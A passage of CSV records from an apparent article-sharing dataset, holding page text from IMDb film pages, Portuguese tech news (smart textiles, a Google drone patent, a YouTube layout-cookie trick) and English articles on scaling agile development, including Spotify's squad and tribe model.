Quotes [first lines] : This is the sad tale of the township of Dogville. Dogville was in the Rocky Mountains in the US of A, up here where the road came to its definitive end, near the entrance to the old abandoned silver mine. The residents of Dogville were good honest folks, and they liked their township. And while a sentimental soul from the East Coast had once dubbed their main street Elm Street, though no elm had ever cast its shadow in Dogville, they saw no reason to change anything. Most of the ... See more "" Crazy Credits Closing credits play over photographs depicting crime and poverty in the United States. See more "" Soundtracks America the Beautiful (uncredited) Lyrics by Katharine Lee Bates Music by Samuel A. Ward Sung by residents of Dogville on July 4th See more "" User Reviews Message Boards Recent Posts",en
1462290491,CONTENT SHARED,-894273917655637623,8676130229735483748,7996351703382861075,,,,HTML,http://www.imdb.com/title/tt1069238/,Departures (2008),"Storyline Daigo Kobayashi is a devoted cellist in an orchestra that has just been dissolved and now finds himself without a job. Daigo decides to move back to his old hometown with his wife to look for work and start over. He answers a classified ad entitled ""Departures"" thinking it is an advertisement for a travel agency only to discover that the job is actually for a ""Nokanshi"" or ""encoffineer,"" a funeral professional who prepares deceased bodies for burial and entry into the next life. While his wife and others despise the job, Daigo takes a certain pride in his work and begins to perfect the art of ""Nokanshi,"" acting as a gentle gatekeeper between life and death, between the departed and the family of the departed. The film follows his profound and sometimes comical journey with death as he uncovers the wonder, joy and meaning of life and living. Written by Regent Releasing Taglines: The gift of last memories Details Release Date: 19 June 2009 (USA) Box Office Opening Weekend: $74,945 (USA) (29 May 2009) Gross: $1,542,503 (USA) (11 June 2010) Company Credits Technical Specs See full technical specs "" Did You Know? Trivia To provide realistic bodies while preventing the corpses from moving, after a lengthy casting process the crew chose extras who could lie as still as possible. For the bath house owner Tsuyako Yamashita, this was not possible owing to the need to see her alive first, and a search for a body double was unfruitful. Ultimately, the crew used digital effects to transplant a still image of the actor during the character's funeral scene, allowing for a realistic effect. See more "" Quotes [first lines] Daigo Kobayashi : [voice over narration] When I was a child winter didn't feel so cold. It's nearly two months since I moved home from Tokyo. It's been an awkward time. See more "" Soundtracks Symphony No. 9 in D Minor, Op. 125 - 'Choral': IV. Presto, Allegro assai Written by Ludwig van Beethoven See more "" Frequently Asked Questions User Reviews Message Boards Recent Posts",en
1462290721,CONTENT SHARED,-5678159351655490918,3609194402293569455,481522036864542901,,,,HTML,http://startupi.com.br/2016/05/roupas-com-wifi-e-gps-desenvolvedor-une-tecnologia-com-o-universo-textil/,Roupas com Wifi e GPS? Desenvolvedor une tecnologia com o universo têxtil - Startupi,"Nos dias 14 e 15 de maio acontece em São Paulo o Festival Path, um dos principais encontros brasileiros sobre Criatividade e Inovação. O Startupi é um dos parceiros de mídia do evento e estará presente nos dois dias do festival acompanhando tudo o que acontece por lá. Depois de conversar com os fundadores do evento para saber as novidades desta edição, conversamos com Borre Akkersdijk, um desenvolvedor têxtil visionário, que irá palestrar no primeiro dia de evento sobre o futuro dos tecidos. Sim, os tecidos estão por toda parte e, na maioria das vezes, mal notamos a sua presença. As pessoas têm usado tecidos de duas maneiras, por muito tempo: para expressar a sua identidade e para se proteger do mundo externo, mas a proposta de Borre com a sua marca BYBORRE é outra, unir a tecnologia com o universo têxtil. ""O mundo digital é tudo que está ao nosso redor conectando as pessoas com os dispositivos móveis, o próximo passo será que todos os objetos ao nosso redor, assim como as nossas roupas, servirão como uma plataforma para o corpo e nossos movimentos"", destaca Borre. Borre mora e trabalha em Amsterdã, e eu interesse pelo universo têxtil surgiu quando era jovem e depois de estudar na Design Academy Eindhoven, entrou para o departamento têxtil e de conceito. Tudo começou com suas visitas à fábricas têxteis em 2009 e intrigado pelas máquinas de tricô circulares usadas na indústria de colchões, BYBORRE desenvolveu uma maneira de reinventar a sua utilização. Sua primeira coleção, intitulada ""The First Cycle"", O Primeiro Ciclo, em português, foi inteiramente produzida com base nessas máquinas. Durante a Semana de Moda de Paris, a marca exibiu um filme animado sobre o processo de produção, em paralelo à coleção. Borre destaca que existem possibilidades ilimitadas para os têxteis que está desenvolvendo. No futuro, por exemplo, todos os aplicativos que conhecemos agora podem ser redesenhados para o mundo digital 3D e interagir com o corpo humano. ""O universo têxtil será a próxima plataforma para interagirmos com o mundo digital. O primeiro passo é passarmos para o mundo digital com a realidade virtual ligada com a indústria têxtil, vamos ver uma grande mudança até 2026"", destaca Borre. ""Esta foi uma experiência especial e inesperada, nós unimos o universo têxtil com a tecnologia, o que foi uma grande experiência para nós e para todos que conhecemos durante o evento"", comenta Borre. Com 30 anos, Borre tem a reputação de um designer jovem e ousado. Hoje em dia, a BYBORRE atua como um B2B de marcas como Nike, Louis Vuitton, Volvo e Volkswagen. Borre também fez um experimento em parceria com a distribuidora de sistemas interativos CWI, em Amsterdã. O teste envolvia frequência cardíaca, sensor biométrico e sensores de movimento com fio nas mãos de um grupo selecionado de espectadores que assistiam a uma apresentação de Borre Akkersdijk. O objetivo do experimento era sentir o nível de envolvimento da plateia. Ao mesmo tempo, o designer também foi conectado a estes sensores, mas eles foram incluídos em seu suéter, e m que os fios condutores foram integrados na indústria têxtil através de um processo de assinatura de tricô que fez da sua roupa um dispositivo para gravação de dados. Confira no vídeo abaixo todos os detalhes da ação. Essa é a primeira vez que Borre vem para o Brasil e em entrevista ao Startupi, contou que trará grandes novidades para o público do Festival Path. O que será que ele está preparando?",pt
1462290994,CONTENT REMOVED,4739732607073456292,8676130229735483748,7996351703382861075,,,,HTML,http://www.imdb.com/title/tt1069238/,Departures (2008),"Storyline Daigo Kobayashi is a devoted cellist in an orchestra that has just been dissolved and now finds himself without a job. Daigo decides to move back to his old hometown with his wife to look for work and start over. He answers a classified ad entitled ""Departures"" thinking it is an advertisement for a travel agency only to discover that the job is actually for a ""Nokanshi"" or ""encoffineer,"" a funeral professional who prepares deceased bodies for burial and entry into the next life. While his wife and others despise the job, Daigo takes a certain pride in his work and begins to perfect the art of ""Nokanshi,"" acting as a gentle gatekeeper between life and death, between the departed and the family of the departed. The film follows his profound and sometimes comical journey with death as he uncovers the wonder, joy and meaning of life and living. Written by Regent Releasing Taglines: The gift of last memories Details Release Date: 19 June 2009 (USA) Box Office Opening Weekend: $74,945 (USA) (29 May 2009) Gross: $1,542,503 (USA) (11 June 2010) Company Credits Technical Specs See full technical specs "" Did You Know? Trivia To provide realistic bodies while preventing the corpses from moving, after a lengthy casting process the crew chose extras who could lie as still as possible. For the bath house owner Tsuyako Yamashita, this was not possible owing to the need to see her alive first, and a search for a body double was unfruitful. Ultimately, the crew used digital effects to transplant a still image of the actor during the character's funeral scene, allowing for a realistic effect. See more "" Quotes [first lines] Daigo Kobayashi : [voice over narration] When I was a child winter didn't feel so cold. It's nearly two months since I moved home from Tokyo. It's been an awkward time. See more "" Soundtracks Symphony No. 9 in D Minor, Op. 125 - 'Choral': IV. Presto, Allegro assai Written by Ludwig van Beethoven See more "" Frequently Asked Questions User Reviews Message Boards Recent Posts",en
1462291023,CONTENT REMOVED,-8112397019636931887,8676130229735483748,7996351703382861075,,,,HTML,http://www.imdb.com/title/tt1069238/,Departures (2008),"Storyline Daigo Kobayashi is a devoted cellist in an orchestra that has just been dissolved and now finds himself without a job. Daigo decides to move back to his old hometown with his wife to look for work and start over. He answers a classified ad entitled ""Departures"" thinking it is an advertisement for a travel agency only to discover that the job is actually for a ""Nokanshi"" or ""encoffineer,"" a funeral professional who prepares deceased bodies for burial and entry into the next life. While his wife and others despise the job, Daigo takes a certain pride in his work and begins to perfect the art of ""Nokanshi,"" acting as a gentle gatekeeper between life and death, between the departed and the family of the departed. The film follows his profound and sometimes comical journey with death as he uncovers the wonder, joy and meaning of life and living. Written by Regent Releasing Taglines: The gift of last memories Details Release Date: 19 June 2009 (USA) Box Office Opening Weekend: $74,945 (USA) (29 May 2009) Gross: $1,542,503 (USA) (11 June 2010) Company Credits Technical Specs See full technical specs "" Did You Know? Trivia To provide realistic bodies while preventing the corpses from moving, after a lengthy casting process the crew chose extras who could lie as still as possible. For the bath house owner Tsuyako Yamashita, this was not possible owing to the need to see her alive first, and a search for a body double was unfruitful. Ultimately, the crew used digital effects to transplant a still image of the actor during the character's funeral scene, allowing for a realistic effect. See more "" Quotes [first lines] Daigo Kobayashi : [voice over narration] When I was a child winter didn't feel so cold. It's nearly two months since I moved home from Tokyo. It's been an awkward time. See more "" Soundtracks Symphony No. 9 in D Minor, Op. 125 - 'Choral': IV. Presto, Allegro assai Written by Ludwig van Beethoven See more "" Frequently Asked Questions User Reviews Message Boards Recent Posts",en
1462300131,CONTENT SHARED,7078276984547732873,-1443636648652872475,5914495757799096398,,,,HTML,https://hbr.org/2016/05/how-companies-are-using-machine-learning-to-get-faster-and-more-efficient,How Companies Are Using Machine Learning to Get Faster and More Efficient,"Create a FREE account to: Get eight free articles per month* Access to personalized content Save articles and create shareable folders in your personal HBR library Get 20% off your first order using code HBRORGREG3** *not including articles that are exclusively for Harvard Business Review magazine subscribers **does not include magazine subscriptions UNLIMITED ACCESS TO HBR.ORG A one-year subscription Unlimited access to magazine archive of over 25 years of past issues, including our 50 bestselling articles (available to subscribers only) iPad and Android tablet apps including all of your magazine issues plus content feeds from HBR.org Create your personal library on HBR.org Organize articles of interest, share your favorites with colleagues Access to HBR's Visual Library which includes charts, infographics, and our most popular, fully customizable slide decks Free bonus guide of 15 must-read articles",en
1462301684,CONTENT SHARED,8589361101754366293,-1387464358334758758,-6201805413546761219,,,,HTML,http://googlediscovery.com/2016/05/03/acesse-versao-material-design-do-youtube/,Acesse a versão Material Design do YouTube | Google Discovery,"Além dos aplicativos para Android e sua própria plataforma móvel, outros produtos do Google também serão incorporados a linguagem de design desenvolvida pela empresa, como o Chrome e o YouTube. Enquanto o Chrome deve receber o novo layout durante as próximas semanas, o buscador ainda não forneceu datas para que seu portal de vídeos receba a nova identidade visual. No entanto, um usuário do Reddit parece ter encontrado um truque que adianta o processo - pelo menos para aqueles que utilizam o YouTube sem o uso de login. Veja como fazer: 1) Vá para https:www.youtube.com/?gl=US 2) Abra o ""Inspecionar"" do Chrome (ctrl + shift + i) 3) Acesse a guia `Resources´ e apague o cookie ""VISITOR_INFO1_LIVE"" dentro do domínio do YouTube 4) Entre na guia 'Console' e defina o cookie ""VISITOR_INFO1_LIVE"" com o seguinte comando: document.cookie=""VISITOR_INFO1_LIVE=Qa1hUZu3gtk;path=/;domain=.youtube.com""; 5) Recarregue a página Feito o processo, você irá visualizar o YouTube com este novo layout: é bacharel em administração de empresas e fundador da FragaNet Networks - empresa especializada em comunicação digital e mídias sociais. Em seu portfólio estão projetos como: Google Discovery, TechCult, AutoBlog e Arquivo UFO. Também foi colunista de tecnologia no TechTudo, da Globo.com.",pt
1462302663,CONTENT SHARED,-7714713652743527644,3609194402293569455,481522036864542901,,,,HTML,http://startupi.com.br/2016/05/conheca-a-patente-do-google-que-preve-entregas-por-drones/,Conheça a patente do Google que prevê entregas por drones - Startupi,"Foi concedida ao Google, em 25 de abril, uma patente em que a empresa apresenta um método para a entrega de pacotes para os consumidores com drones. Basicamente, um drone autônomo poderá ser utilizado para a empresa para aterrar, entregar pacotes e decolar novamente, pairando sobre de sua meta de entrega. O drone, neste caso, desceria lentamente os pacotes para entrega através de uma corda. O aparelho teria ainda sensores que permitirão dizer quando o pacote tocou o chão, e que poderia separar e recolher o cabo de ligação. Após a entrega, o drone pode voltar à base para recarregar e pegar outro pacote. As informações são do site Quartz . O que é mais interessante é como o Google prevê que os usuários interajam com os robôs. A patente sugere que os drones chamem a atenção das pessoas que transitam pelo lugar, dizendo-lhes para tomar cuidado. ""Cuidado: Afastem-se"", emitiria o drone, até que ele deixe a sua carga. Ao cumprir a tarefa, o aparelho se despediria em tom alegre: ""Entrega completa!"". Ainda para a segurança dos usuários do serviço de entregas, os drones também teriam luzes de advertência que mudariam de cor como um semáforo, para que a pessoa saiba que é seguro para recuperar sua encomenda debaixo do drone pairando. Não há garantia, no entanto, de que o Google ou qualquer empresa da Alphabet irá desenvolver este tipo de tecnologia. Um representante do Google disse ao Quartz que detém patentes em muitas ideias, e nem todos elas amadurecem em produtos ou serviços. O Google possui patentes para caminhões de entrega e um serviço de entrega operado por humanosvchamado Google Expresso. Talvez, como Alphabet luta para diversificar suas fontes de receita além da publicidade, o Google tenha encontrado algo.",pt
1462302967,CONTENT SHARED,4139191914110236238,-3390049372067052505,-5504525035659647047,,,,HTML,http://www.mckinsey.com/business-functions/business-technology/our-insights/an-operating-model-for-company-wide-agile-development,An operating model for company-wide agile development,"Organizations are succeeding with agile software and product development in discrete projects and teams. To do so in multiple business units and product groups, they must rethink foundational processes, structures, and relationships. Many digital companies are using agile development practices to deliver goods and services to customers more efficiently and with greater reliability. Using this software-development approach across all business units and product groups, digital giants have been able to design and build features quickly, test them with customers, and refine and refresh them in rapid iterations. By contrast, few traditional companies-those with both online and offline presences-are using agile methodologies across the majority of their product- and application-development teams. Many banks, for instance, have established digital units to develop and release mobile apps or website features quickly. But those groups typically remain physically and strategically disconnected from the rest of the IT organization and the rest of the company. Research indicates that many traditional companies are experimenting with agile practices in discrete pilot projects and realizing modest benefits from them. But fewer than 20 percent consider themselves ""mature adopters,"" with widespread acceptance and use of agile across business units. Meanwhile, according to our own observations, the companies that are deploying agile at scale have accelerated their innovation by up to 80 percent. There are many reasons traditional companies have not been able to successfully scale up their agile programs, but we believe a chief impediment is their existing operating models and organizational structures. In most of these companies, the process of software or product development remains fragmented and complex: a business request for a new website feature can kick-start a development process involving multiple teams, each tackling a series of tasks that feed into the original request. For instance, one team working on the front-end application, another updating associated servers and databases, and still another reconciling the front-end application with legacy back-end systems. What's more, the supporting business processes (among them, budgeting, planning, and outsourcing) and existing roles and responsibilities in both the IT organization and business units continue to adhere closely to the legacy waterfall approach. For most companies, it will be difficult to incorporate agile practices from small-scale pilots into all business units and functions-regardless of the success of those pilots-without making significant structural changes. Launching agile at scale: The research base We have helped many organizations adopt agile development practices in their IT and business groups. Building on that base, we recently studied in depth 13 large traditional organizations that are implementing agile methodologies across functions and business units (see sidebar, ""Launching agile at scale: The research base""). To facilitate widespread adoption, these companies have made changes in one or more parts of their operating models, targeting the following four areas: modifying their organizational structures to be more product oriented, improving interactions between the business and IT, redefining roles within business units and the IT organization, and reconsidering their budgeting and planning models (exhibit). The companies that have started on this path to change are realizing early benefits. One has switched from a project- to a product-oriented operating model. It has deployed talent and IT resources based on IT requirements for the entire customer-onboarding experience, for instance, rather than according to individual applications used during onboarding. As a result of this change in focus, it is now launching up to four website features a month instead of the typical four a year the company was able to release previously. This successful shift to agile was made more attainable when the company carefully considered when and how to phase in various modifications to its operating model. Scaling agile practices The benefits of agile are by now well known. Under agile development methodologies, IT organizations and product developers cocreate products and services with the business, rather than simply collecting feature specifications and throwing them back over the wall, as would happen under the waterfall development model. Teams can experiment with minimally viable products, test and learn from those prototypes, and ultimately deliver new software features and products in days or weeks, not years. Based on our observations of leading-edge adopters, quick codevelopment of products and collaboration among highly skilled IT and business professionals can happen on a broader scale when companies take steps to remake their operating models and organizational structures, focusing in particular on these four principles. Adopt a product-oriented organizational structure Traditional companies tend to organize their IT resources according to applications and projects-creating the type of fragmented development experiences described earlier. Instead, they need to organize IT resources around products, gathering business-unit leaders, developers, and other members of the organization in stable end-to-end teams that are focused on delivering designated business outcomes. Such a structure would mean the end of projects as they are traditionally defined and of coordination bodies such as the project-management office. In an agile-at-scale environment, products can't be defined solely as commercial offerings. They may actually be combinations of offerings (for instance, a payroll service), or the customer experience (say, all the features and tasks that make up the online purchasing journey), or an IT system shared by multiple product teams (such as pricing software that generates quotes on demand). So it's important for business and IT leaders to redefine the units of delivery. And once products have been recategorized, the company must designate an agile team, or clusters of agile teams, that will be responsible for the development and maintenance tasks associated with those products. These teams typically will include developers, testers, product owners, and others. They can draw additional support from a centralized group of experts-specialists in security issues, user-experience researchers, or enterprise IT architects, for instance. A large medical-device manufacturer significantly shortened its time to market by refining its organizational structure. Under its traditional structure, there could be as many as 20 handoffs when a business unit shared its specifications and requirements with the technology organization for a new piece of software or an additional feature in existing software. Because of the interdependencies among its products, leadership knew it wouldn't be enough to deploy agile within one business unit or within certain product-management teams in the technology organization. In 2015, the company tweaked its product-ownership model so that software requirements were directly transmitted from dedicated product owners in the business units to the agile teams, rather than passing through multiple parties. With this change, the company was able to reduce the amount of time it took to release products in the market. The structural changes also facilitated the rise of several communities of practice. These role-based or topic-based groups (sometimes called guilds) are critical in agile-at-scale environments. They can encourage the transfer of knowledge among team members, promote coordination between teams and functions, and become the catalyst for continuous performance improvement. Improve interactions between the business and IT To create an agile-at-scale environment, companies will need to break down silos between and within the business units and the IT organization. It's a perennial issue in most companies. But closer collaboration can be achieved by designating strong product owners from the business units to work with IT-individuals who understand the company's products well and who have the technical knowledge and authority to prioritize feature changes in products. In most traditional companies, product owners from the business side are involved in software development sporadically, providing input only as needed. To compensate for this lack of engagement, IT organizations often appoint a proxy product owner from IT. This arrangement can be useful in the near term but impede long-term product or project success. The proxy product owner typically has limited access to customers due to organizational barriers and possesses no mandate or the authority to make decisions. Because direction, priorities, and accountability are lacking, agile development is stalled. Teams face a significant amount of rework and waste. By contrast, a strong product owner has an in-depth understanding of the product in question, connections to and an understanding of customers, and full authority to make quick decisions. Such accelerated decision making helps to reduce bottlenecks in development and increase productivity. A provider of software-as-a-service solutions was struggling to get products to market in a timely fashion. There were marked lags in decision making and unclear lines of communication between IT and the business. In 2014, the company implemented a three-tiered product-owner structure, with a chief product owner leading a product domain, a senior product owner leading a product line, and product owners working with the scrum teams. Under this revised structure, interactions between IT and the business units improved. The lines of communications were clearer. The company was able to make decisions much more quickly while maintaining consistency and coordination within and across product-development groups. In part because of this structural change, the company was able to bring new software products to market quarterly-and in some instances monthly-rather than only once or twice a year. Six building blocks for creating a high-performing digital enterprise Read the article Redefine managerial roles and responsibilities About half the companies we studied have redefined managers' roles and responsibilities to account for the distinct capabilities associated with agile versus waterfall development. Consider the differences: the project manager working under a waterfall approach typically needs to coordinate a range of tasks occurring across application-development teams, database teams, and so on. Under an agile approach, however, the number of tasks (and therefore the need for coordination) is minimized. The tasks that remain are handled by a strong product owner or the agile team itself. Similarly, the process-management tasks that were traditionally done by line managers-for instance, identifying and addressing dependencies and assigning tasks to individuals-are handled by self-organizing, product-focused agile teams. A large bank in Africa redefined certain roles, shifting the lines of communication and responsibilities, to accommodate the bank's desire to deploy agile practices more widely. Previously, software-development teams worked with various technology leads to translate architects' requirements into technical specifications. Under an agile approach, however, this translation step was no longer needed. The bank eliminated the tech-lead role within agile teams. Developers are now empowered to talk directly to architects and product owners, so they gain a better understanding of customers' needs and can develop software to accommodate those needs. Line managers will, of course, continue to play central roles-providing career-development support and serving as subject-matter experts within agile teams and formally transferring their knowledge to others. But their responsibilities were redrawn, and this was communicated widely so that team members knew what to expect and whom to contact in particular situations. Indeed, the companies we've seen that have effectively implemented agile at scale are resolutely transparent-they provide clear guidelines about which decisions should be made within the team and which require external input. The boundaries are clearly defined; team members are empowered enough to be accountable but not so much that they could create major risks with rogue or carte-blanche actions. Reconsider budgeting and planning models IT organizations typically adhere to annual budgeting and planning cycles-which can involve painful rebalancing exercises across an entire portfolio of technology initiatives, as well as a sizable amount of rework and waste. This approach is anathema to companies that are seeking to deploy agile at scale. Some businesses in our research base are taking a different approach. Overall budgeting is still done yearly, but road maps and plans are revisited quarterly or monthly, and projects are reprioritized continually. A large European insurance provider restructured its budgeting processes so that each product domain is assigned a share of the annual budget, to be utilized by chief product owners. (Part of the budget is also reserved for requisite maintenance costs.) Budget responsibilities have been divided into three categories: a development council consisting of business and IT managers meets monthly to make go/no-go decisions on initiatives. Chief product owners are charged with the tactical allocation of funds-making quick decisions in the case of a new business opportunity, for instance-and they meet continually to rebalance allocations. Meanwhile, product owners are responsible for ensuring execution of software-development tasks within 40-hour work windows and for managing maintenance tasks and backlogs; these, too, are reviewed on a rolling basis. As a result of this shift in approach, the company has increased its budgeting flexibility and significantly improved market response times. A handful of companies are even exploring a venture-capital-style budgeting model. Initial funding is provided for minimally viable products (MVPs), which can be released quickly, refined according to customer feedback, and relaunched in the marketplace-the hallmarks of agile development. And subsequent funding is based on how those MVPs perform in the market. Under this model, companies can reduce the risk that a project will fail, since MVPs are continually monitored and development tasks reprioritized. Typically there is less waste and more transparency among portfolio and product managers, and it becomes easier for the company to scrap low-potential projects early. Choosing the right approach Revamping an operating model is a large undertaking. There will be significant risks to address and short-term disruptions as new ways of working take hold. As with any large change-management initiative, such a transformation will require long-term commitments from employees at all levels, in all functions and business units. The companies we've studied have used a number of approaches to alter elements of their operating models. At one extreme, some have used the ""lab approach,"" in which an agile operating model is set up apart from the rest of the organization to serve as a testing ground before capabilities and processes are rolled out to the entire IT organization. This approach makes most sense when the company has only limited support from senior management for larger changes and needs to prove the business case quickly. For the most part, however, the separate organizations created under the lab approach tend to remain separate rather than influencing change across the organization. At the other extreme, a handful of companies have embarked on a ""big-bang redesign,"" in which they move all functions and business units toward new organizational structures and roles, self-contained agile cells, and faster processes-all in one go. For this to work, senior leadership must be all in from day one, which is likely to be the case in only a small subset of companies. Somewhere in the middle is the ""wave and spike"" approach to deploying agile at scale. Under this model, individual teams are reconfigured as agile teams in waves, while elements of a new operating model are deployed in spikes. A large technology-solutions provider, for instance, needed to ramp up its digital capabilities fast. The company's IT organization was struggling to get products to market given the increasing size, complexity, and sheer number of projects. The company transitioned product-development teams to agile practices in waves; 5 were included in the first training and deployment cycle, while close to 20 were part of the second. As each successive wave of teams was indoctrinated to agile, feedback was collected and training materials were developed or revised for the next set of teams. Agile coaches were also installed to guide teams. Six months into its agile transformation, the company adopted a product-oriented organizational structure, gathering business-unit leaders, developers, engineers, and members of the IT organization into ""tribes."" Many months after that, the company focused on a different spike-interaction between IT and the business. It adjusted its operating model so the product-development group could collaborate more closely with the IT operations group (in a true DevOps model). As a result of these changes, time to market accelerated dramatically; because teams were cocreating products, the number of defects and the rework required decreased. Companies that are finding small-scale success with agile development practices may be loath to mess with a good thing, figuring it best to avoid the risks that widespread adoption might present. One of the chief risks in a digital business world, however, is standing still. To keep pace with new market entrants, emerging technologies, and changing customer expectations, companies will need to find ways to extend their capabilities in agile software development to all functions and business units. They must be willing to adapt the very fabric of their organizations and give agile methodologies the space and support they need to thrive. About the author(s) Santiago Comella-Dorda is a principal in McKinsey's Boston office, Swati Lohiya is an expert in the London office, and Gerard Speksnijder is a master expert in the San Francisco office.",en
1462306191,CONTENT SHARED,-703416562539077070,-1032019229384696495,9206175271110320466,,,,HTML,https://www.scrumalliance.org/community/articles/2015/december/scaling-agile-using-spotify-s-framework,Scrum Community - Scrum Alliance,"Agile today is a widely accepted methodology, fast transforming the way software is made. But Agile in its traditional form still has a few grey areas: How do we scale up Agile from team level to program/portfolio/enterprise level? What would be Agile metrics at the program/ portfolio/ enterprise level? How do we minimize handoffs between teams, delivering value early to the customer? How do we get employee and customer delight using innovative Agile frameworks? If you want to find answers to these and how Tech Mahindra and our client (a large banking and insurance provider in Australia and New Zealand) use Spotify's framework for scaling Agile to realize those objectives, then read on. Spotify is an organization that operates under a true Agile culture. Henrik Kniberg and Anders Ivarsson wrote the whitepaper Scaling Agile @ Spotify , which has inspired many companies to follow their organizational model. Challenges Agile, in its plain vanilla form, is practiced widely. However, the focus is still at the team level. Some challenges include: Handoff between teams. Operation teams are constantly in conflict with development teams because of lack of knowledge transfer during the handoff to production. Teams lack holistic skills to realize an idea from concept to cash, leading to conflict of interest and lack of ownership. This results in multiple management layers and funding hassles. Although the Agile focus is at the team level, there is no strategy for scaling it to a program, portfolio, and an enterprise level. To address these challenges, Tech Mahindra and Suncorp Group took a hard look at Spotify's Agile scaling framework. Spotify's Agile scaling uses cross-functional teams with T-shaped skills that realize value from concept to cash and that can also build and maintain software or products. It also addresses how to scale up these autonomous cross-functional teams to a program or portfolio level to address some of the challenges. It further addresses the downside of having autonomous teams by having horizontal knowledge-sharing forums. In a nutshell, Spotify's scaling provides dual benefits of autonomous economies and economies of scale. Target The customer aims to achieve the following: Build teams that develop, own, and maintain software or products. Minimize handoff between teams. Bring work to teams rather than forming transient teams around projects. Fund release trains rather than projects, thus bringing value early into the life cycle. Create an innovative environment where it is OK to fail at a legitimate risk taken, but the goal is to fail fast to minimize the impact on finances and teams. Improve employee productivity and satisfaction with effective use of cross skills. Agile without Spotify's scaling Development teams and operations teams are not colocated. This results in a lack of synergy between the development teams and the operation teams over project handoffs. Agile with Spotify's scaling Visualize development teams as Squads Perform the following tasks to visualize development teams as Squads: Identify the skills (work types) that development teams need to realize requirements from concept to cash. Identify the dependencies of development teams on other teams. Perform a skill matrix baseline for development teams and make a T-shaped road map or cross-skills road map. The development teams now can realize and maintain requirements from concept to cash. An operations team continues to be available for specialized support, which also creates self-service for development teams. Visualize line-of-business portfolios as Tribes Perform the following tasks to visualize line-of-business portfolios as Tribes: Link all Squads that cater to a line of business into a Tribe. Ensure that the Tribe has a leader who is a thought leader for the line of business. Ensure that the Tribe leader provides the best habitat for Squads to perform and excel. The Tribe leader works with the technical architect to ensure that an architectural runway is visualized for Squads. Funding ideally happens at the Tribe level, not at the project level, to release trains so that work is brought to the Squads rather than forming teams around projects. Persistent Squads encourage gradual buildup of domain knowledge and synergy, thus fostering high-performing packs. Visualize knowledge-sharing forums as Chapters and Guilds Squads and Tribes are more or less fully autonomous. But what we witness in full economies is loss of economies of scale or knowledge sharing. Therefore, form horizontal Chapters along technology or practices (such as testing). This formation translates into Guilds at an enterprise level, ensuring that knowledge sharing continues in spite of the autonomous teams. This is an amalgamation of new-world autonomous teams with old-world specialized teams. Resource estimate Spotify's scaling is more about scaling skills of existing resources in a T-shape model. The only cost associated with the scaling is training and cross-skills, which is on the job and in the classroom. In essence, development teams can do operation support when needed while retaining their core development skills, and the operation support team can do core development when needed while retaining their core support skills. Such an amalgamated team is called a Squad. A team with T-shape skills doing work from concept to cash and one that also maintains products built is a Squad. Image: Each Squad will have a product owner, ScrumMaster, and T-shaped team. A collection of autonomous Squads aligning to a line of business is a Tribe. Image: A Tribe can be visualized as an incubator for mini start-ups. The size of a Tribe is typically not more than 100 people (based on the Dunbar number) because a bigger group leads to restrictive rules, bureaucracy, politics, and unnecessary management layers. Tribes hold a regular gathering in which each Squad showcases what it's doing, and everyone learns from each other. Squads, as autonomous units, have a flip side. Full economies are a loss of economies of scale. For example, a tester in Squad A could have solved a problem recently that a tester in Squad B could be struggling with. A Chapter is a horizontal slice across Squads within a Tribe. They have similar skills, work within the same general competency area, and within the same Tribe. A Guild is an enterprise-level Chapter. Image: Measurable impact In our context, we had visualized our lines of business, such as insurance, banking, customer, and corporate, as Tribes with autonomous Squads for end-to-end delivery, while Chapters and Guilds retained knowledge in spite of autonomous Squads or Tribes. The following are examples of metrics used to measure Squads, Tribes, and the enterprise. Squad-level metrics Lean and Agile Maturity Assessment (LAMA) Tribe-level metrics Enterprise-level metrics As an organization, we used these metrics more than a year and observed the following results: Minimized the handoff between teams, realizing a huge reduction in knowledge transfer. Increased employee satisfaction because employees had the opportunity to widen their technology horizon. Teams and portfolios aligned to a line of business, making it a robust entrepreneurial model. Chapter and Guilds aligned with the knowledge base, making it a robust knowledge model. Image: Why the Tech Mahindra STAR Award recognized Suncorp Spotify's scaling in Agile is an innovative, people-driven, and loosely coupled framework for scaling Agile. Although there are more rigid, process-driven, hierarchical frameworks, Spotify enters into this space as fresh air. We have used Spotify's model for scaling in Agile to integrate development and operation teams, thus building synergy with a latent endeavor to ""build product, maintain products"" as an innovative approach to DevOps. The cost involved in implementing the Spotify scaling framework is minimal; it is all about reusing and rejuvenating existing resources, with training and on-the-job collaboration, creating a win-win for both the employee and the company. Spotify's scaling does not recommend additional roles or a hierarchical process; therefore, it reduces costs and fosters innovation. Spotify also redefines the way funding is done in that it funds release trains at the Tribe level rather than with transient projects. The basic crux of Spotify's scaling is that teams become ""brilliant at Agile basics,"" which both Tech Mahindra as an organization and our customer drive by using Agility Assessment. Profile of key team Operating domain : Banking and Insurance Operating technologies : Business Intelligence technologies (IBM® Netezza, IBM® Cognos, Tableau®, IBM® InfoSphere Change Data Capture, IBM® InfoSphere DataStage, etc.) Continuous integration : Jenkins, Stash Automation tools : Tricentis Tosca Testsuite Demography Total associates (distributed across India and Australia) : 200 plus Total iteration managers (ScrumMasters) : 8 Total Certified Scrum Masters® (CSM®) : 6 Total Scaled Agilists (SA) : 2 Agile Infrastructure Seating Collaboration Tools - Lync TVs and video conference Dedicated Agile coach Overlapping shift hours This paper was nominated in India Agile Awards - Agile Project of the Year 2015 By KPMG/ Unicom. Reference Henrik Kniberg and Anders Ivarsson. Scaling Agile @ Spotify with Tribes, Squads, Chapters, and Guilds. 2012. . Opinions represent those of the author and not of Scrum Alliance. The sharing of member-contributed content on this site does not imply endorsement of specific Scrum methods or practices beyond those taught by Scrum Alliance Certified Trainers and Coaches. The community welcomes feedback that is constructive and supportive, in the spirit of better understanding and implementation of Scrum.",en
1462307554,CONTENT SHARED,-1706114177222872702,-1032019229384696495,9206175271110320466,,,,HTML,http://www.infoq.com/presentations/spotify-culture,The Spotify Tribe,"Summary Kevin Goldsmith presents Spotify's internal culture promoting collaboration and creativity and the internal groupings that keep individuals and teams aligned and cross-functional. Bio Kevin Goldsmith leads the 105-strong Music Player organization, comprising eleven teams in Stockholm and Göteborg; including engineering, test and agile coaches. The Music Player Tribe is responsible for the nearly all of the user visible features in the Spotify product. Spark the Change is the UK's only conference to bring people together and offer the practical skills to build stronger organisations and happier workplaces.",en
